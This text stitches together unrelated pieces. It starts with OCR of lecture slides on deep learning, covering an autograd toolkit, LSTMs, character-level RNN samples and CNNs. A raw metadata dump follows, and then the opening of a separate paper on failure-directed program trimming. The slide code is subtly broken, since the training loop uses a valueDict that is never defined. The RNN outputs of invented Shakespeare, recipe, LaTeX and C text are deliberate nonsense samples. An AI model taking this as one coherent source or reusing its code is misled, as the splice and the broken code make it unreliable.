'alias': lambda x: x, } BP_FUNS = { 'add': [lambda delta, out, x1, x2: delta, lambda delta, out, x1, x2: delta], 'subtract': [lambda delta, out, x1, x2: delta, lambda delta, out, x1, x2: -delta], 'mul': [lambda delta, out, x1, x2: delta * x2, lambda delta, out, x1, x2: delta * x1], 'half': [lambda delta, out, x: delta * 0.5], 'square': [lambda delta, out, x: delta * 2 * x], 'alias': [lambda delta, out, x: delta], } Using xman.py class Autograd(object): """ Automatically compute partial derivatives. """ def __init__(self,xman): self.xman = xman def eval(self,opseq,valueDict): """ Evaluate the function specified by the wengart list (aka operation sequence). Here valueDict is a dict holding the values of any inputs/parameters that are needed (indexed by register name, which is a string). Returns the augmented valueDict. """ for (dstName,funName,inputNames) in opseq: inputValues = map(lambda a:valueDict[a], inputNames) fun = EVAL_FUNS[funName] result = fun(*inputValues) valueDict[dstName] = result return valueDict Using xman.py class Autograd(object): """ Automatically compute partial derivatives. """ def bprop(self, opseq, valueDict, **deltaDict): """ For each intermediate register g used in computing the function f computed by the operation sequence, find df/dg. Here valueDict is a dict holding the values of any inputs/parameters that are needed for the gradient (indexed by register name), as populated by eval. """ for (dstName, funName, inputNames) in reversed(opseq): delta = deltaDict[dstName] # values is extended to include the next-level delta and # the function output, and these will be passed as # arguments values = [delta] + map(lambda a: valueDict[a], [dstName] + list(inputNames)) for i in range(len(inputNames)): result = (BP_FUNS[funName][i])(*values) # increment a running sum of all the delta's that are # pushed back to the i-th parameter, initializing to # zero if needed. self._incrementBy(deltaDict, inputNames[i], result) return deltaDict Using xman.py – like Guinea Pig class House(XMan): """: A toy task that has parameters and a loss function. First you compute the area of a simple shape, a 'house', which is a triangle on top of a rectangle. """ # define some macros def rectArea(h,w): return h*w def roofHeight(wallHeight): return f.half(wallHeight) def triangleArea(h,w): return f.half(h*w) # height and width of rectangle are inputs h = f.param() w = f.param() # so is the target height and the target area, these inputs have # defaults targetArea = f.input() targetHeight = f.input(8.0) heightFactor = f.input(100.0) # compute area of the house area = rectArea(h,w) + triangleArea(roofHeight(h), w) # loss to optimize is weighted sum of square loss of area relative # to the targetArea, plus same for height loss = f.square(area - targetArea) + f.square(h - targetHeight) * heightFactor # build your dream house with gradient descent ```python h = House().setup() autograd = Autograd(h) rate = 0.001 epochs = 20 # this fills in default values for inputs with defaults, like # targetHeight and heightFactor initDict = h.inputDict(h=5,w=10,targetArea=200) # form wengart list to compute the loss opseq = h.operationSequence(h.loss) for i in range(epochs): # find gradient of loss wrt parameters gradientDict = autograd.bprop(opseq,valueDict,loss=1.0) # update the parameters appropriately for rname in gradientDict: if h.isParam(rname): initDict[rname] = initDict[rname] - rate*gradientDict[rname] ``` 57 def Skyscraper(numFloors): "" Another toy task – optimize area of a stack of several rectangles """ x = XMan() # height and width of rectangle are inputs x.h = f.param(default=30.0) x.w = f.param(default=20.0) x.targetArea = f.input(default=0.0) x.targetHeight = f.input(default=8.0) x.heightFactor = f.input(default=100.0) # compute area of the skyscraper x.zero = f.input(default=0.0) # here areaRegister points to a different # register in each iteration of the loop areaRegister = x.zero for i in range(numFloors): floorRegister = (x.h * x.w) floorRegister.name = 'floor_%d' % (i+1) areaRegister = areaRegister + floorRegister # when the loop finishes, we give it the register a name, in this # case by having an instance variable point to the register. # we could also execute: areaRegister.name = 'area' x.area = areaRegister x.loss = f.square(x.area - x.targetArea) + f.square(x.h - x.targetHeight) * x.heightFactor return x Modern ANNs • Use of softmax and entropic loss instead of quadratic loss. • Use of alternate non-linearities – reLU and hyperbolic tangent • Better understanding of weight initialization • Ability to explore architectures rapidly RECURRENT NEURAL NETWORKS Motivation: what about sequence prediction? What can I do when input size and output size vary? Motivation: what about sequence prediction? Architecture for an RNN Some information is passed from one subunit to the next Sequence of outputs Start of sequence marker Sequence of inputs End of sequence marker http://colah.github.io/posts/2015-08-Understanding-LSTMs/ Architecture for an 1980’s RNN Problem with this: it’s extremely deep and very hard to train Architecture for an LSTM “Bits of memory” Decide what to forget Decide what to insert Combine with transformed $x_t$ $\sigma$: output in $[0,1]$ $tanh$: output in $[-1,+1]$ http://colah.github.io/posts/2015-08-Understanding-LSTMs/ Walkthrough What part of memory to “forget” – zero means forget this bit \[ f_t = \sigma \left( W_f \cdot [h_{t-1}, x_t] + b_f \right) \] Walkthrough What bits to insert into the next states What content to store into the next state \[ i_t = \sigma(W_i \cdot [h_{t-1}, x_t] + b_i) \] \[ \tilde{C}_t = \tanh(W_C \cdot [h_{t-1}, x_t] + b_C) \] http://colah.github.io/posts/2015-08-Understanding-LSTMs/ Walkthrough Next memory cell content – mixture of not-forgotten part of previous cell and insertion \[ C_t = f_t \cdot C_{t-1} + i_t \cdot \tilde{C}_t \] Walkthrough What part of cell to output \[ o_t = \sigma \left( W_o \left[ h_{t-1}, x_t \right] + b_o \right) \] \[ h_t = o_t \times \tanh(C_t) \] tanh maps bits to [-1,+1] range http://colah.github.io/posts/2015-08-Understanding-LSTMs/ Architecture for an LSTM \[ f_t = \sigma (W_f \cdot [h_{t-1}, x_t] + b_f) \] \[ i_t = \sigma (W_i \cdot [h_{t-1}, x_t] + b_i) \] \[ \tilde{C}_t = \tanh(W_C \cdot [h_{t-1}, x_t] + b_C) \] (1) \[ C_t = f_t \cdot C_{t-1} + i_t \cdot \tilde{C}_t \] (2) \[ o_t = \sigma (W_o \cdot [h_{t-1}, x_t] + b_o) \] \[ h_t = o_t \cdot \tanh (C_t) \] (3) http://colah.github.io/posts/2015-08-Understanding-LSTMs/ Implementing an LSTM For $t = 1,\ldots, T$: 1. $f_t = \sigma (W_f \cdot [h_{t-1}, x_t] + b_f)$ 2. $i_t = \sigma (W_i \cdot [h_{t-1}, x_t] + b_i)$ 3. $\tilde{C}_t = \tanh(W_C \cdot [h_{t-1}, x_t] + b_C)$ 4. $C_t = f_t \cdot C_{t-1} + i_t \cdot \tilde{C}_t$ 5. $o_t = \sigma (W_o \cdot [h_{t-1}, x_t] + b_o)$ 6. $h_t = o_t \cdot \tanh (C_t)$ http://colah.github.io/posts/2015-08-Understanding-LSTMs/ SOME FUN LSTM EXAMPLES LSTMs can be used for other sequence tasks - Image captioning - Sequence classification - Translation - Named entity recognition For more information, see [this source](http://karpathy.github.io/2015/05/21/rnn-effectiveness/). Character-level language model Test time: • pick a seed character sequence • generate the next character • then the next • then the next … http://karpathy.github.io/2015/05/21/rnn-effectiveness/ Character-level language model PANDARUS: Alas, I think he shall be come approached and the day When little sran would be attain'd into being never fed, And who is but a chain and subjects of his death, I should not sleep. Second Senator: They are away this miseries, produced upon my soul, Breaking and strongly should be buried, when I perish The earth and thoughts of many states. DUKE VINCENTIO: Well, your wit is in the care of side and that. Second Lord: They would be ruled after this chamber, and my fair nues begun out of the fact, to be conveyed, Whose noble souls I'll have the heart of the wars. Character-level language model First Citizen: Nay, then, that was hers, It speaks against your other service: But since the youth of the circumstance be spoken: Your uncle and one Baptista's daughter. SEBASTIAN: Do I stand till the break off. BIRON: Hide thy head. VENTIDIUS: He purposeth to Athens: whither, with the vow I made to handle you. FALSTAFF: My good knave. Yoav Goldberg: order-10 unsmoothed character n-grams Character-level language model --- Recipe via Meal-Master (tm) v8.05 Title: BARBECUE RIBS Categories: Chinese, Appetizers Yield: 4 Servings 1 pk Seasoned rice 1 Beer -- cut into cubes 1 ts Sugar 3/4 c Water Chopped finels, up to 4 tblsp of chopped 2 pk Yeast Bread/over --- FILLING 2 c Pineapple, chopped 1/3 c Milk 1/2 c Pecans Cream of each 2 tb Balsamic cocoa 2 tb Flour 2 ts Lemon juice Granulated sugar 2 tb Orange juice 1 c Sherry wheated curdup 1 Onion; sliced 1 ts Salt 2 c Sugar 1/4 ts Salt 1/2 ts White pepper, freshly ground Sesame seeds 1 c Sugar 1/4 c Shredded coconut 1/4 ts Cumin seeds Preheat oven to 350. In a medium bowl, combine milk, flour and water and then cornstarch. Add tomatoes, or nutmeg; serve. http://karpathy.github.io/2015/05/21/rnn-effectiveness/ Character-level language model For $\bigoplus_{n=1,\ldots,m}$ where $\mathcal{L}_{m,} = 0$, hence we can find a closed subset $\mathcal{H}$ in $\mathcal{H}$ and any sets $\mathcal{F}$ on $X, U$ is a closed immersion of $S$, then $U \to T$ is a separated algebraic space. Proof. Proof of (1). It also start we get $$S = \text{Spec}(R) = U \times_X U \times_X U$$ and the comparicoly in the fibre product covering we have to prove the lemma generated by $\bigcup Z \times_U U \to V$. Consider the maps $M$ along the set of points $\text{Sch}_{\text{ppf}}$ and $U \to U$ is the fibre category of $S$ in $U$ in Section, ?? and the fact that any $U$ affine, see Morphisms, Lemma ??, Hence we obtain a scheme $S$ and any open subset $W \subset U$ in $\text{Sh}(G)$ such that $\text{Spec}(R') \to S$ is smooth or an $$U = \bigcup U_i \times_S U_i$$ which has a nonzero morphism we may assume that $f_i$ is of finite presentation over $S$. We claim that $\mathcal{O}_{X,x}$ is a scheme where $x, x', s'' \in S'$ such that $\mathcal{O}_{X,x'} \to \mathcal{O}_{X',x'}$ is separated. By Algebra, Lemma ?? we can define a map of complexes $\text{GL}_{S'}(x'/S'')$ and we win. To prove study we see that $\mathcal{F}|_U$ is a covering of $\mathcal{X}'$, and $\mathcal{T}_i$ is an object of $\mathcal{F}_{X/S}$ for $i > 0$ and $\mathcal{F}_p$ exists and let $\mathcal{F}_i$ be a presheaf of $\mathcal{O}_X$-modules on $\mathcal{C}$ as a $\mathcal{F}$-module. In particular $\mathcal{F} = U/\mathcal{F}$ we have to show that $$\tilde{M}^* = \mathcal{T}^* \otimes_{\text{Spec}(k)} \mathcal{O}_{S,s} - i_{-1}^{-1} \mathcal{F}$$ is a unique morphism of algebraic stacks. Note that $$\text{Arrows} = (\text{Sch}/S)_{\text{ppf}}, (\text{Sch}/S)_{\text{ppf}}$$ and $$V = \Gamma(S, \mathcal{O}) \leftrightarrow (U, \text{Spec}(A))$$ LaTeX "almost compiles" Character-level language model ```c /* * Increment the size file of the new incorrect UI_FILTER group information * of the size generatively. */ static int indicate_policy(void) { int error; if (fd == MARN_EPT) { /* * The kernel blank will coeld it to userspace. */ if (ss->segment < mem_total) unblock_graph_and_set_blocked(); else ret = 1; goto bail; } segaddr = in_SB(in.addr); selector = seg / 16; setup_works = true; for (i = 0; i < blocks; i++) { seq = buf[i++]; bpf = bd->bd.next + i * search; if (fd) { current = blocked; } } } ``` CONVOLUTIONAL NEURAL NETWORKS Model of vision in animals [Hubel & Wiesel 1962]: - **simple cells** detect local features - **complex cells** “pool” the outputs of simple cells within a retinotopic neighborhood. Vision with ANNs (LeCun et al., 1989) What’s a convolution? https://en.wikipedia.org/wiki/Convolution 1-D \[ (f * g)(t) \overset{\text{def}}{=} \int_{-\infty}^{\infty} f(\tau) g(t - \tau) \, d\tau \] \[ = \int_{-\infty}^{\infty} f(t - \tau) g(\tau) \, d\tau. \] What’s a convolution? https://en.wikipedia.org/wiki/Convolution \[(f \ast g)(t) \overset{\text{def}}{=} \int_{-\infty}^{\infty} f(\tau) g(t - \tau) \, d\tau \] \[= \int_{-\infty}^{\infty} f(t - \tau) g(\tau) \, d\tau.\] What’s a convolution? http://matlabtricks.com/post-5/3x3-convolution-kernels-with-online-demo What’s a convolution? http://matlabtricks.com/post-5/3x3-convolution-kernels-with-online-demo What’s a convolution? http://matlabtricks.com/post-5/3x3-convolution-kernels-with-online-demo What’s a convolution? http://matlabtricks.com/post-5/3x3-convolution-kernels-with-online-demo What’s a convolution? http://matlabtricks.com/post-5/3x3-convolution-kernels-with-online-demo What’s a convolution? http://matlabtricks.com/post-5/3x3-convolution-kernels-with-online-demo What’s a convolution? • Basic idea: – Pick a 3-3 matrix F of weights – Slide this over an image and compute the “inner product” (similarity) of F and the corresponding field of the image, and replace the pixel in the center of the field with the output of the inner product operation • Key point: – Different convolutions extract different types of low-level “features” from an image – All that we need to vary to generate these different features is the weights of F How do we convolve an image with an ANN? Note that the parameters in the matrix defining the convolution are tied across all places that it is used. How do we do many convolutions of an image with an ANN? Example: 6 convolutions of a digit http://scs.ryerson.ca/~aharley/vis/conv/ CNNs typically alternate convolutions, non-linearity, and then downsampling. Downsampling is usually averaging or (more common in recent CNNs) max-pooling. Why do max-pooling? • Saves space • Reduces overfitting? • Because I’m going to add more convolutions after it! – Allows the short-range convolutions to extend over larger subfields of the images • So we can spot larger objects • Eg, a long horizontal line, or a corner, or ... Fig. 2. Architecture of LeNet-5, a Convolutional Neural Network, here for digits recognition. Each plane is a feature map, i.e. a set of units whose weights are constrained to be identical. Another CNN visualization https://cs.stanford.edu/people/karpathy/convnetjs/demo/mnist.html input (24x24x1) max activation: 0.99607, min: 0 Weights: (filter size 5x5x1, stride 1 max activation: 2.96187, min: -5.49735 max gradient: 0.00068, min: -0.00102 parameters: 8x5x5x1+8 = 208 pool (12x12x8) pooling size 2x2, stride 2 max activation: 2.96187, min: 0 max gradient: 0.00106, min: -0.00102 Activations: Activation Gradients: conv (12x12x16) filter size 5x5x8, stride 1 max activation: 5.58937, min: -11.45423 max gradient: 0.00053, min: -0.00106 parameters: 16x5x5x8+16 = 3216 relu (12x12x16) max activation: 5.58937, min: 0 max gradient: 0.0007, min: -0.0011 softmax (1x1x10) max activation: 0.99864, min: 0 max gradient: 0, min: 0 Why do max-pooling? • Saves space • Reduces overfitting? • Because I’m going to add more convolutions after it! – Allows the short-range convolutions to extend over larger subfields of the images • So we can spot larger objects • Eg, a long horizontal line, or a corner, or ... • At some point the feature maps start to get very sparse and blobby – they are indicators of some semantic property, not a recognizable transformation of the image • Then just use them as features in a “normal” ANN Why do max-pooling? - Saves space - Reduces overfitting? - Because I’m going to add more convolutions after it! - Allows the short-range convolutions to extend over larger subfields of the images - So we can spot larger objects - Eg, a long horizontal line, or a corner, or ... PROC. OF THE IEEE, NOVEMBER 1998 Fig. 2. Architecture of LeNet-5, a Convolutional Neural Network, here for digits recognition. Each plane is a feature map, i.e. a set of units whose weights are constrained to be identical. Alternating convolution and downsampling The subfield in a large dataset that gives the strongest output for a neuron
{"Source-Url": "http://www.cs.cmu.edu/~wcohen/10-605/deep-2.pdf", "len_cl100k_base": 15866, "olmocr-version": "0.1.53", "pdf-total-pages": 102, "total-fallback-pages": 0, "total-input-tokens": 136058, "total-output-tokens": 20313, "length": "2e13", "weborganizer": {"__label__adult": 0.0004470348358154297, "__label__art_design": 0.0016031265258789062, "__label__crime_law": 0.0002734661102294922, "__label__education_jobs": 0.001857757568359375, "__label__entertainment": 0.0004451274871826172, "__label__fashion_beauty": 0.0002505779266357422, "__label__finance_business": 0.0008931159973144531, "__label__food_dining": 0.0010576248168945312, "__label__games": 0.0015687942504882812, "__label__hardware": 0.0022678375244140625, "__label__health": 0.0004012584686279297, "__label__history": 0.0004143714904785156, "__label__home_hobbies": 0.00038242340087890625, "__label__industrial": 0.001373291015625, "__label__literature": 0.0007290840148925781, "__label__politics": 0.0003681182861328125, "__label__religion": 0.0005908012390136719, "__label__science_tech": 0.26953125, "__label__social_life": 0.00020635128021240232, "__label__software": 0.02874755859375, "__label__software_dev": 0.685546875, "__label__sports_fitness": 0.00033402442932128906, "__label__transportation": 0.0005116462707519531, "__label__travel": 0.0002529621124267578}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 45146, 0.02793]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 45146, 0.86994]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 45146, 0.59214]], "google_gemma-3-12b-it_contains_pii": [[0, 52, false], [52, 397, null], [397, 423, null], [423, 769, null], [769, 1178, null], [1178, 1485, null], [1485, 1718, null], [1718, 1818, null], [1818, 2342, null], [2342, 2676, null], [2676, 3328, null], [3328, 4477, null], [4477, 5278, null], [5278, 5577, null], [5577, 6367, null], [6367, 7322, null], [7322, 8518, null], [8518, 9641, null], [9641, 10469, null], [10469, 11377, null], [11377, 11824, null], [11824, 11846, null], [11846, 12514, null], [12514, 12633, null], [12633, 12729, null], [12729, 13593, null], [13593, 14035, null], [14035, 14058, null], [14058, 14406, null], [14406, 14962, null], [14962, 15434, null], [15434, 16066, null], [16066, 16791, null], [16791, 17208, null], [17208, 17553, null], [17553, 17872, null], [17872, 18304, null], [18304, 18748, null], [18748, 19378, null], [19378, 19862, null], [19862, 20329, null], [20329, 20723, null], [20723, 21151, null], [21151, 21404, null], [21404, 22039, null], [22039, 22060, null], [22060, 22992, null], [22992, 24254, null], [24254, 25205, null], [25205, 26834, null], [26834, 27513, null], [27513, 27987, null], [27987, 28637, null], [28637, 29340, null], [29340, 30543, null], [30543, 31489, null], [31489, 32148, null], [32148, 33197, null], [33197, 33430, null], [33430, 33456, null], [33456, 33553, null], [33553, 33597, null], [33597, 33828, null], [33828, 33922, null], [33922, 34158, null], [34158, 34298, null], [34298, 34564, null], [34564, 34720, null], [34720, 34961, null], [34961, 35365, null], [35365, 35766, null], [35766, 35789, null], [35789, 36018, null], [36018, 36215, null], [36215, 36826, null], [36826, 37254, null], [37254, 38052, null], [38052, 39900, null], [39900, 40595, null], [40595, 40625, null], [40625, 40808, null], [40808, 40847, null], [40847, 41075, null], [41075, 41298, null], [41298, 41393, null], [41393, 41488, null], [41488, 41583, null], [41583, 41678, null], [41678, 41773, null], [41773, 41868, null], [41868, 42346, null], [42346, 42496, null], [42496, 42552, null], [42552, 42629, null], [42629, 42786, null], [42786, 43266, null], [43266, 43359, null], [43359, 43699, null], [43699, 44009, null], [44009, 44514, null], [44514, 45028, null], [45028, 45146, null]], "google_gemma-3-12b-it_is_public_document": [[0, 52, true], [52, 397, null], [397, 423, null], [423, 769, null], [769, 1178, null], [1178, 1485, null], [1485, 1718, null], [1718, 1818, null], [1818, 2342, null], [2342, 2676, null], [2676, 3328, null], [3328, 4477, null], [4477, 5278, null], [5278, 5577, null], [5577, 6367, null], [6367, 7322, null], [7322, 8518, null], [8518, 9641, null], [9641, 10469, null], [10469, 11377, null], [11377, 11824, null], [11824, 11846, null], [11846, 12514, null], [12514, 12633, null], [12633, 12729, null], [12729, 13593, null], [13593, 14035, null], [14035, 14058, null], [14058, 14406, null], [14406, 14962, null], [14962, 15434, null], [15434, 16066, null], [16066, 16791, null], [16791, 17208, null], [17208, 17553, null], [17553, 17872, null], [17872, 18304, null], [18304, 18748, null], [18748, 19378, null], [19378, 19862, null], [19862, 20329, null], [20329, 20723, null], [20723, 21151, null], [21151, 21404, null], [21404, 22039, null], [22039, 22060, null], [22060, 22992, null], [22992, 24254, null], [24254, 25205, null], [25205, 26834, null], [26834, 27513, null], [27513, 27987, null], [27987, 28637, null], [28637, 29340, null], [29340, 30543, null], [30543, 31489, null], [31489, 32148, null], [32148, 33197, null], [33197, 33430, null], [33430, 33456, null], [33456, 33553, null], [33553, 33597, null], [33597, 33828, null], [33828, 33922, null], [33922, 34158, null], [34158, 34298, null], [34298, 34564, null], [34564, 34720, null], [34720, 34961, null], [34961, 35365, null], [35365, 35766, null], [35766, 35789, null], [35789, 36018, null], [36018, 36215, null], [36215, 36826, null], [36826, 37254, null], [37254, 38052, null], [38052, 39900, null], [39900, 40595, null], [40595, 40625, null], [40625, 40808, null], [40808, 40847, null], [40847, 41075, null], [41075, 41298, null], [41298, 41393, null], [41393, 41488, null], [41488, 41583, null], [41583, 41678, null], [41678, 41773, null], [41773, 41868, null], [41868, 42346, null], [42346, 42496, null], [42496, 42552, null], [42552, 42629, null], [42629, 42786, null], [42786, 43266, null], [43266, 43359, null], [43359, 43699, null], [43699, 44009, null], [44009, 44514, null], [44514, 45028, null], [45028, 45146, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 45146, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 45146, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 45146, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 45146, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 45146, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 45146, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 45146, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 45146, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 45146, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 45146, null]], "pdf_page_numbers": [[0, 52, 1], [52, 397, 2], [397, 423, 3], [423, 769, 4], [769, 1178, 5], [1178, 1485, 6], [1485, 1718, 7], [1718, 1818, 8], [1818, 2342, 9], [2342, 2676, 10], [2676, 3328, 11], [3328, 4477, 12], [4477, 5278, 13], [5278, 5577, 14], [5577, 6367, 15], [6367, 7322, 16], [7322, 8518, 17], [8518, 9641, 18], [9641, 10469, 19], [10469, 11377, 20], [11377, 11824, 21], [11824, 11846, 22], [11846, 12514, 23], [12514, 12633, 24], [12633, 12729, 25], [12729, 13593, 26], [13593, 14035, 27], [14035, 14058, 28], [14058, 14406, 29], [14406, 14962, 30], [14962, 15434, 31], [15434, 16066, 32], [16066, 16791, 33], [16791, 17208, 34], [17208, 17553, 35], [17553, 17872, 36], [17872, 18304, 37], [18304, 18748, 38], [18748, 19378, 39], [19378, 19862, 40], [19862, 20329, 41], [20329, 20723, 42], [20723, 21151, 43], [21151, 21404, 44], [21404, 22039, 45], [22039, 22060, 46], [22060, 22992, 47], [22992, 24254, 48], [24254, 25205, 49], [25205, 26834, 50], [26834, 27513, 51], [27513, 27987, 52], [27987, 28637, 53], [28637, 29340, 54], [29340, 30543, 55], [30543, 31489, 56], [31489, 32148, 57], [32148, 33197, 58], [33197, 33430, 59], [33430, 33456, 60], [33456, 33553, 61], [33553, 33597, 62], [33597, 33828, 63], [33828, 33922, 64], [33922, 34158, 65], [34158, 34298, 66], [34298, 34564, 67], [34564, 34720, 68], [34720, 34961, 69], [34961, 35365, 70], [35365, 35766, 71], [35766, 35789, 72], [35789, 36018, 73], [36018, 36215, 74], [36215, 36826, 75], [36826, 37254, 76], [37254, 38052, 77], [38052, 39900, 78], [39900, 40595, 79], [40595, 40625, 80], [40625, 40808, 81], [40808, 40847, 82], [40847, 41075, 83], [41075, 41298, 84], [41298, 41393, 85], [41393, 41488, 86], [41488, 41583, 87], [41583, 41678, 88], [41678, 41773, 89], [41773, 41868, 90], [41868, 42346, 91], [42346, 42496, 92], [42496, 42552, 93], [42552, 42629, 94], [42629, 42786, 95], [42786, 43266, 96], [43266, 43359, 97], [43359, 43699, 98], [43699, 44009, 99], [44009, 44514, 100], [44514, 45028, 101], [45028, 45146, 102]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 45146, 0.02481]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
e148ae054f1a8c10ca871704af26b95aacad9672
Failure-Directed Program Trimming Kostas Ferles The University of Texas at Austin, USA kferles@cs.utexas.edu Maria Christakis University of Kent, UK M.Christakis@kent.ac.uk Valentin Wüstholz The University of Texas at Austin, USA valentin@cs.utexas.edu Isil Dillig The University of Texas at Austin, USA isil@cs.utexas.edu ABSTRACT This paper describes a new program simplification technique called program trimming that aims to improve the scalability and precision of safety checking tools. Given a program \( \mathcal{P} \), program trimming generates a new program \( \mathcal{P}' \) such that \( \mathcal{P} \) and \( \mathcal{P}' \) are equi-safe (i.e., \( \mathcal{P}' \) has a bug if and only if \( \mathcal{P} \) has a bug), but \( \mathcal{P}' \) has fewer execution paths than \( \mathcal{P} \). Since many program analyzers are sensitive to the number of execution paths, program trimming has the potential to improve the effectiveness of safety checking tools. In addition to introducing the concept of program trimming, this paper also presents a lightweight static analysis that can be used as a pre-processing step to remove program paths while retaining equi-safety. We have implemented the proposed technique in a tool called TRIMMER and evaluate it in the context of two program analysis techniques, namely abstract interpretation and dynamic symbolic execution. Our experiments show that program trimming significantly improves the effectiveness of both techniques. CCS CONCEPTS • Software and its engineering → Formal methods; KEYWORDS Condition inference, abstract interpretation, dynamic symbolic ex- ecution ACM Reference format: Failure-Directed Program Trimming. In Proceedings of 2017 11th Joint Meet- ing of the European Software Engineering Conference and the ACM SIGSOFT Symposium on the Foundations of Software Engineering, Paderborn, Germany, September 4–8, 2017 (ESEC/FSE’17), 12 pages. https://doi.org/10.1145/3106237.3106249 1 INTRODUCTION Due to its potential to dramatically simplify programs with respect to a certain criterion (e.g., the value of a program variable at a given location), program slicing [86] has been the focus of decades of research in the program analysis community [85]. In addition to being useful for program understanding, slicing also has the potential to improve the scalability of bug-finding and verification tools by removing irrelevant code snippets with respect to some property of interest. Yet, despite this potential, relatively few bug- finding and verification tools use slicing as a pre-processing step. In this paper, we argue that existing notions of a “program slice” do not adequately capture the kinds of program simplification that are beneficial to safety checking tools. Instead, we propose a new se- matic program simplification technique called program trimming, which removes program paths that are irrelevant to the safety prop- erty of interest. Given a program \( \mathcal{P} \), program trimming generates a simplified program \( \mathcal{P}' \) such that \( \mathcal{P}' \) violates a safety property if and only if the original program \( \mathcal{P} \) does (i.e., \( \mathcal{P} \) and \( \mathcal{P}' \) are equi-safe). However, \( \mathcal{P}' \) has the advantage of containing fewer execution paths than \( \mathcal{P} \). Since the scalability and precision of many program ana- lyzers depend on the number of program paths, program trimming can have a positive impact on many kinds of program analyses, particularly those that are not property directed. To illustrate the difference between the standard notion of pro- gram slicing and our proposed notion of program trimming, con- sider the following very simple program, where \( \star \) indicates a non- deterministic value (e.g., user input): \[ \begin{align*} 1 & \quad x := \star; \quad y := \star; \\ 2 & \quad \text{if} \ (y > 0) \ {\text{then}} \ (x < 10) \ {\text{do}} \ (x := x + y; \ ) \ {\text{end}} \ \\ 3 & \quad \text{else} \ (x := x - 1; \ ) \\ 4 & \quad \text{assert} \ x > 0; \\ \end{align*} \] Suppose that our goal is to prove the assertion; so, we are inter- ested in the value of \( x \) at line 4. Now, every single statement in this program is relevant to determining the value of \( x \); hence, there is nothing that can be removed using program slicing. However, ob- serve that the then branch of the if statement is actually irrelevant to the assertion. Since this part of the program can never result in a program state where the value of \( x \) is less than 10, lines 2 and 3 can be simplified without affecting whether or not the assertion can fail. Hence, for the purposes of safety checking, the above program is equivalent to the following much simpler trimmed program \( \mathcal{P}' \): \[ \begin{align*} 1 & \quad x := \star; \quad y := \star; \\ 2 & \quad \text{assume} \ y <= 0; \\ 3 & \quad x := x - 1; \\ 4 & \quad \text{assert} \ x > 0; \\ \end{align*} \] Observe that \( \mathcal{P}' \) contains far fewer paths compared to the origi- nal program \( \mathcal{P} \). In fact, while \( \mathcal{P} \) contains infinitely many execution paths, the trimmed program \( \mathcal{P}' \) contains only two, one through the successful and one through the failing branch of the assertion. Consequently, program analyzers that eagerly explore all program paths, such as bounded model checkers [14, 28] and symbolic execution engines [66], can greatly benefit from program trimming in terms of scalability. Furthermore, since many static analyzers (e.g., abstract interpreters [31]) typically lose precision at join points of the control flow graph, program trimming can improve their precision by removing paths that are irrelevant to a safety property. Motivated by these observations, this paper introduces the notion of failure-directed program trimming and presents a lightweight algorithm to remove execution paths in a way that guarantees equi-safety. The key idea underlying our approach is to statically infer safety conditions, which are sufficient conditions for correctness and can be computed in a lightweight way. Our technique then negates these safety conditions to obtain trimming conditions, which are necessary conditions for the program to fail. The trimming conditions are used to instrument the program with assumptions such that program paths that violate an assertion are pruned. Program trimming is meant as a lightweight but effective pre-processing step for program analyzers that check safety. We have implemented our proposed trimming algorithm in a tool called TRimmer and used it to pre-process hundreds of programs, most of which are taken from the software verification competition (SVCOMP) [11]. We have also evaluated the impact of trimming in the context of two widely-used program analysis techniques, namely abstract interpretation [31] and dynamic symbolic execution [18, 51]. Our experiments with Crab [49, 50] (an abstract interpreter) show that program trimming can considerably improve the precision of static analyzers. Furthermore, our experiments with KLEE [17] (a dynamic symbolic execution tool) show that program trimming allows the dynamic symbolic execution engine to find more bugs and verify more programs within a given resource limit. To summarize, this paper makes the following key contributions: • We introduce the notion of program trimming as a new kind of program simplification technique. • We propose an effective and lightweight inference engine for computing safety conditions. • We describe a modular technique for instrumenting the program with trimming conditions. • We demonstrate empirically that program trimming has a significant positive impact on the effectiveness of program analyzers. 2 GUIDED TOUR The running example, shown in Figure 1, is written in C extended with assume and assert statements. Note that the example is intentionally quite artificial to illustrate the main ideas behind our technique. Procedure main assigns a non-deterministic integer value to variable m and computes its factorial using the recursive fact procedure. The (light and dark) gray boxes are discussed below and should be ignored for now. We examine two variations of this example: one for dynamic symbolic execution (DSE) engines and another for abstract interpreters (AI). Motivation #1: scalability. First, let us ignore the assertion on line 7 and only consider the one on line 15. Clearly, this assertion cannot fail unless m is equal to 123. Observe that procedure main contains infinitely many execution paths because the number of recursive calls to fact depends on the value of m, which is unconstrained. Consequently, a dynamic symbolic execution engine, like KLEE, would have to explore (a number of) these paths until it finds the bug or exceeds its resource limit. However, there is only one buggy execution path in this program, meaning that the dynamic symbolic execution engine is wasting its resources exploring paths that cannot possibly fail. Our approach. Now, let us see how program trimming can help a symbolic execution tool in the context of this example. As mentioned in Section 1, our program trimming technique first computes safety conditions, which are sufficient conditions for the rest of the program to be correct. In this sense, standard weakest precondition [37] are instances of safety conditions. However, automatically computing safety conditions precisely, for instance via weakest pre-condition calculi [37, 70], abstract interpretation [31], or predicate abstraction [4, 53], can become very expensive (especially in the presence of loops or recursion), making such an approach unsuitable as a pre-processing step for program analyzers that already check safety. Instead, we use lightweight techniques to infer safety conditions that describe a subset of the safe executions in the program. That is, the safety conditions inferred by our approach can be stronger than necessary, but they are still useful for ruling out many program paths that “obviously” cannot violate a safety property. In contrast to a safety condition, a trimming 